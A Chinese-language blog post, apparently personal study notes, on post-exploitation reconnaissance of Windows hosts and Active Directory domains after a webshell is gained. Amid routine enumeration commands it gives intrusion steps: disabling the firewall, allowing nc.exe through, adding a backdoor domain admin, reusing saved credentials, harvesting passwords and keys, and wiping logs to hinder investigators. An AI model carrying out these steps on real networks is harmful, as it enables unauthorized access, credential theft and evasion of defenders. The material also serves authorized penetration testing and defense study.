内网渗透学习-Windows信息收集
内网渗透学习-Windows信息收集
本章内容主要介绍在获取网站服务器webshell后,怎样对Windows主机进行信息收集,对其网络环境进行分析和利用,主要是一个思路整理,在后续的章节中会整理更详细的实践过程。
后渗透中最重要的环节就是信息收集。
收集思路
权限:
- 看哪些地方是有权限可以利用的
- 看有哪些进程
- 看有几个用户
- 查看敏感的配置文件
网络:
- 看路由
- 看arp
- 进程通信
- 是否是k8s集群?虚拟集群(vcenter)?有的话找主控端 docker&k8s技术扫盲(在此之前先理清虚拟机,容器,docker,Kubernetes集群,虚拟机的概念)
- 是否站库分离?站库分离就要想办法渗透相应的数据库 站库分离渗透思路
- 是否有堡垒机?
杀软:
- 当前所控服务器有无杀软,杀软是什么类型,有针对性的做免杀处理
分析当前网络架构:
- Windows系统:是工作组环境还是域环境
- Linux系统:判断是集群,私有云还是阿里云aws(可以利用vpc搭建私网)
- MAC系统:判断是工作站还是集群环境
另外关注机器有没有多网卡,后续可以跨网段渗透(OxidScan)
针对上述收集到的信息做针对性总结,搞清楚这台机子究竟是干什么的。
本文重点是针对Windows系统的信息收集,接下来作对两种不一样的网络架构环境下信息收集的总结
如何分析是域环境还是工作组环境?要做哪些信息收集?
1.分析方法
systeminfo或者net config workstation(如果存在域那么就会显示工作站域和工作站域DNS等信息)
上述两条指令执行之后如果看到WORKGROUP
就可以判断是工作组环境了,反之出现xxx.com等就是域环境
2.信息收集方法
首先判断当前机器有什么用户,用户的拥有什么程度的权限,查看当前用户SID
1 2 3 | whoami whoami /user whoami /user && whoami /priv && whoami /all #查看主机权限(whoami /priv) |
当前操作系统
1 2 3 4 5 6 7 8 | wmic OS get Caption,CSDVersion,OSArchitecture,Version 英文版系统用这条命令: systeminfo | findstr /B /C: "OS Nmae" /C: "OS Version" 中文版用: systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本” 查看系统体系结构 echo %PROCESSOR_ARCHITECTURE% |
查看主机用户,制作用户字典
net user
net user xxx #查看详细信息
查看登录情况
qwinsta
qwinsta /SERVER:IP #查看远程登录情况
然后开始判断是否有域环境,看主机DNS后缀
ipconfig /all #查看网关IP地址、DNS的ip地址、域名、本机是否和DNS服务器处于同一网段等信息。
上图就是一个域环境
当然判断域环境并不只有这一种方法,后续会提到
查看系统详细信息,同时关注打了什么补丁(方便后续提权,这里附上一个提权辅助的工具https://i.hacking8.com/tiquan,可以根据补丁名字看打了哪些补丁),网络连接状态
1 2 | systeminfo #是否加入域,加入了会显示域的名字,未加入显示WORKGROUP wmic qfe get caption,description,hotfixid,installedon #查看补丁 |
查询补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn
包括查看当前任务进程,看用的什么杀软(一样可以用刚刚的链接来判断杀软的类型)
1 2 3 4 | tasklist tasklist /v #输出任务的详细信息,这条指令也可以用来排查后门木马一类的东西 碰到java.exe,也可以猜测是什么进程,例如weblogic,tomcat tasklist /svc #导出系统的进程信息,显示每个任务相关的服务,可以放到在线杀软比对中可以看到目标系统安装了哪些杀毒软件 wmic process list brief |
查看当前机器在线的用户,看管理员在不在线
query user | quser
查看当前主机名字,可以从中判断这台主机的用处
hostname
查看本地密码策略
net accounts
远程桌面连接历史记录,rdp连接,如果有rdp连接记录,可以想办法导出凭证记录,在本地解密
cmdkey /list
利用凭据:runas /savecred /user:contoso/administrator cmd.exe
查看远程机器开启的共享
netview \\ip netview \\192.168.31.138/All #查看某个IP的机器的所有共享
看开放什么端口,对外进行什么连接
netstat -ano
路由表(追踪路由,对内网网段进行测绘)
route print #打印本机路由信息,可以看到本机所有的网卡接口 netstat -r #打印本机路由信息,可以看到本机所有的网卡接口,和route print功能 arp -a #查找有价值的内网arp通信记录 netsh int ip delete arpcache #删除当前机器的arp缓存 tracert 8.8.8.8 #跟踪本机的出口ip
一条指令查杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:list
查看当前安装的程序,软件安装的版本及路径
wmic product get name,version
查看当前主机的共享,如果文件共享对内网其他主机开放,可以采取上传木马的方式对其他主机进行感染,进一步横向渗透
net share
wmic share get name,path,status
查看当前会话
net session
查看主机开机时间
net statistics workstation
查看机器自启动程序信息
1 2 3 | wmic startup get command ,caption,user wmic startup get command ,caption wmic startup list full |
关闭防火墙
1 2 3 4 5 | win 2003及之前的版本用这条命令: netsh firewall set opmode disable win 2003之后的版本用这条命令: netsh advfirewall set allprofiles state off |
查看防火墙配置
netsh firewall show config
修改防火墙配置
win 2003之后的版本用这条: netsh advfirewall firewall add rule name=“pass nc” dir=in action=allow program=“C:\nc.exe” 允许指定程序连出,命令如下 netsh advfirewall firewall add rule name=“Allow nc” dir=out action=allow program=“C: \nc.exe” 允许 3389 端口放行,命令如下 netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow 自定义防火墙日志储存位置 netsh advfirewall set currentprofile logging filename “C:\windows\temp\fw.log"
查看代理配置情况
reg query “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
探测内网存活主机
for /l %i in (1,1,255) do @ping -w 2 -n 1 10.10.10.%i | findstr “TTL=”
或者采用上传工具的方式,例如fscan或者nbtscan(命令格式:nbtscan.exe 10.10.10.0/20)
工作组环境信息收集
查看机器中的所有组名,了解不同组的职能
net localgroup
查看指定组中的成员列表
net localgroup "Administrator"
域环境信息收集
域环境信息收集,主要针对域用户,域管理员,域控,域机器,服务,exchange邮件服务器
确定当前内网所架设的域,并且所控制的主机账户在域里面,就可以进行域内相关信息的收集了。
因为这些查询命令本质上都是通过 LDAP 协议去域控制器上查询的,查询时候需要经过权限认证,只有域用户才有这个权限,所以本地用户是无法运行以下命令的(system 权限用户除外。在域里面,除了普通用户,所有机器都有一个机器用户,用户名为机器名加“$”。system 用户对应的就是域里面的机器用户,所以 system 权限用户是可以运行以下查询命令的)。(参考https://blog.csdn.net/qq_45290991/article/details/120028595)
在实际情况中,一个域内一般有两台或者两台以上的域控制器,因为一点主域控制器发生故障,备用域控制器就可以保证域内服务和验证工作正常运行。
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员的权限。也就是说,在计算机添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中。因此,域管理员组的成员均可访问本地计算机,而且具备完全控制权限。
渗透测试人员通常会通过搜集域内信息,追踪域内特权用户、域管理组用户的历史登录位置、当前登录位置等。定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,可以使用powershell脚本或 wevtutil 导出查看。会话是指域内每个机器的登录会话,可以匿名查询,无须权限,可以使用 netsess.exe 或 PowerView 等工具查询。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | net user /domain #查看域环境用户,当前域中的所有用户名,根据用户名总数大概判断域的规模 net user域用户/domain #获取某个域用户的详细信息 net localgroup administrators #本机管理员[通常含有域用户] net localgroup administrators /domain #登录本机的域管理员 net localgroup administrators dcluseroo1 /add #域用户添加到本机 net user /domain xxX 12345678 #修改域用户密码,需要域管理员权限 net config workstation #查看当前登录域及域用户 net time /domain #判断主域 net view /domain #查看内网存在多少个域,所有的域名称,有时候查询出错6118错误,是因为 Computer Brower 服务的问题,把它手动启动。 Net view /domain:xYz #查看xYz域中的机器列表 net view /domain: 1abtest #查看指定域中在线的计算机列表 net time /domain #查看时间服务器,一般域控会做时间服务器 net accounts /domain #查看当前域的域内账户密码设置策略 net config workstation #看看当前的登录域 ---以下命令在高版本系统(2012及以后)中会提示只能域控中执行--- net group /domain #查看当前域中的所有组名 net group 域组名/domain #查询域组所包含的用户 net group "domain admins”/domain #查看当前域中的域管账户 net group "domain computers" /domain #查看当前域中的所有的计算机名(登录过该域的计算机)net group "domain controllers”/domain查看域控 net group "enterprise admins”/domain #查看企业管理组net group " domain guest" /domain net user admin 123456/add /domain #添加域用户admin,密码为123456 net group "domain admins" admin /add /domain #将域用户admin添加到域管理员组domain admins中nltest /DCLIST:主机名[Hacker] #查看域控制器的机器名 Nslookup -type=SRV _ldap._tcp #查看域控制器主机名 net group “Domain Controllers” /domain #查看域控制器 ##添加域管理员 net user shuteer xy@china110 /ad /domain #添加域用户 net group "domain admins" shuteer /ad /domain #添加域用户到域管理员组 net group "domain admins" /domain #查看域管理员组 ##域信任关系(很少,基本上只有在域树和域林中才会出现)和查找域控 DC上运行的命令 nltest /domain_trusts #查看域内信任关系 dnscmd /zoneexport lab.com dns.txt导出域内DNs信息,文件在c: \windows\system32\dns\dns.txt nslookup -q=mx labtest.com #查看域内邮件服务器 nslookup -q=ns labtest.com #查看域内DNS服务器 netdom query pdc #查看域内的主域控,仅限win2008及之后的系统 nltest /domain_trusts /all_trusts /v /server:192.168.52.2 返回所有信任192.168.52.2的域内主机 nltest /dsgetdc:hack /server:192.168.52.2 返回域控和其相应的IP地址 ##搜集spn(扫盲:SPN(Service Principal name) 是服务在使用 Kerberos 身份验证的网络上的唯一标识符,它由服务类、主机名和端口组成。) SPN扫描 不同于常规的tcp/udp端口扫描,由于spn本质就是正常的Kerberos请求,所以扫描是非常隐蔽,日前针对此类扫描的检测暂时也比较少。 大部分win系统默认已自带spn探测工具即:setspn.exe 下列操作无需管理权限,需要域内机器执行 setspn -T hack -0* /* setspn -T target.com -Q*/ * 导出后针对性定位域控 ##定位域控 nslookup -type=all __ldap._tcp.dc._msdcs.rootkit.org Nslookup -type=SRV _ldap._tcp 方法一:net group "domain controllers" /domain #这里查询结果后面会多一个$ 方法二:nltest /DCLIST:test.com 方法三:net time /domain 方法五:查看DNS服务器的地址,一般DNS服务器的IP就是域控的地址方法六:netdom query pdc #该命令只能在域控上执行 方法七:dsquery server #该命令只能在域控上执行 ##定位邮件服务器 nslookup -qt-MX Yahoo.com ##域内信息收集dsquery 有些机器无法执行,需要自行上传工具 dsquery user #查找域目录中的用户 dsquery computer #查找目录中的计算机 dsquery contact #查找目录中的联系人 dsquery subnet #查找目录中的子网 dsquery group #查找目录中的组 dsquery ou #查找目录中的组织单位 dsquery site #查找目录中的站点 dsquery server #查找目录中的AD DC/LDS实例 dsquery user #查找目录中的用户 dsquery quota #查找目录中的配额规定 dsquery partition #查找目录中的分区 dsquery * - #用通用的LDAP查询来查找目录中的任何对象 #以下命令只能在域控上查询 dsquery user #查询目录中的用户 dsquery computer #查询目录中的主机 dsquery group #查询目录中的组, dsquery ou #查询目录中的组织单元, dsquery site #查询目录中的站点 dsquery server #查询域控 dsquery contact #查询目录中的联系人 dsquery subnet #查询目录中的子网 dsquery quota #查询目录中的配额规定, dsquery partition #查询目录中的分区。 dsquery * #用通用的LDAP查询来查找目录中的任何对 dsquery server -domain test.comI dsget server-dnsname -site #搜索域内域控制器的DNS主机名和站点名 dsquery computer domainroot -name -xp -limit 10 #搜索域内以- xp结尾的机器10台 dsquery user domainroot -name admin -limit #搜索域内以admin开头的用户10个 |
翻找本地文件
在连上目标主机做好权限维持后,针对主机的各类文件进行翻查
1.看是否在本地留存有密码本一类的东西(txt文件或者excel表格)
2.浏览器密码,浏览器访问记录
3.看有无社交软件(微信,qq),有就找存储的文件
4.各类配置文件:数据库密码,access token,access key,api接口,部分api接口的session key密钥
java网站:找war包,有配置信息
asp网站:web.config
5.若存在文件共享服务器,配置文件可能可以找到写死的密码
6.网站源码(很大概率代码审计一下就可以翻到新漏洞,这样的话后续即便对方封锁了原先的入口删掉webshell,后续一样可以找机会进来)
7.日志文件(主机日志,网站日志等各类日志,不仅仅是为了信息收集,同时也可以做一些消除痕迹的工作,增大后续管理人员排查入侵的难度)
需要梳理的信息
例如拿下的主机上对外映射的web服务是一个oa管理系统,那么可以对一下信息进行梳理,做进一步渗透,例如指定人员进行钓鱼
找到域控后做什么
密码喷洒:即利用已经获得密码对所有的域内用户进行探测
(后续的学习中会详细整理和实践)
文章推荐
本文中在总结的同时,也参考了大量博客文章,这里附上一篇很有参考价值的文章(这篇可能也是转载过来的)
https://blog.csdn.net/qq_45290991/article/details/120028595
在这篇文章中涉及了许多域环境信息收集的内容,同时介绍了很多域信息收集的工具,值得学习。
ps;在本文中认识到了powershell和普通cmd的区别,填补一些我之前护网面试里的知识空白:
PowerShell可以理解为增强版的”cmd.exe”,打开方式就是:运行->输入powershell:
如果想执行一个Powershell脚本,需要修改Powershell的默认权限为执行权限。PowerShell常用的执行权限有四种:
Restricted:默认设置,不允许执行任何脚本。
Allsigned:只能运行经过证书验证的脚本。
Unrestricted:权限最高,可以执行任意脚本。
RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名。
在PowerShell中输入Get-ExecutionPolicy,可以查看权限:
如果想要修改权限就可以执行这条命令,然后选择Y:
Set-ExecutionPolicy 权限名
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix